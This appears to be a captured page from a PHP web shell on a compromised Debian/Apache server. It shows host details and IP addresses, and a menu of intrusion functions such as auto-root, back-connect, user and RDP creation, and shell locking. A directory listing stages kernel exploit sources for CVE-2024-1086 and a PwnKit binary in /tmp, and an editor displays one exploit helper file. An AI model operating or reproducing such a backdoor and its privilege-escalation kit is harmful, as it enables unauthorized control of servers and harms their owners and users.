Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
tmp /
CVE-2024-1086 /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
config.h
2.96
KB
-rw-r--r--
env.c
4.26
KB
-rw-r--r--
env.h
674
B
-rw-r--r--
file.c
1.38
KB
-rw-r--r--
file.h
745
B
-rw-r--r--
main.c
18.32
KB
-rw-r--r--
net.c
5.61
KB
-rw-r--r--
net.h
741
B
-rw-r--r--
nftnl.c
7.22
KB
-rw-r--r--
nftnl.h
550
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file.c
// This program, and the other programs and scripts ("programs", "these programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of these programs, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with these programs. #include <stdlib.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include "file.h" // micro function (don't print "doing X..." status) // removes error checking boilerplate void write_file(const char *filename, const char *buf, size_t buflen, unsigned int flags) { int fd; fd = open(filename, O_WRONLY | O_CREAT | flags, 0755); if (fd < 0) { perror("open$write_file"); exit(EXIT_FAILURE); } if (write(fd, buf, buflen) != buflen) { perror("write$write_file"); exit(EXIT_FAILURE); } close(fd); } int read_file(const char *filename, void *buf, size_t buflen) { int fd; int retv; fd = open(filename, O_RDONLY); if (fd < 0) { perror("open$read_file"); exit(EXIT_FAILURE); } retv = read(fd, buf, buflen); if (retv < 0) { perror("read$read_file"); exit(EXIT_FAILURE); } close(fd); return retv; }
Close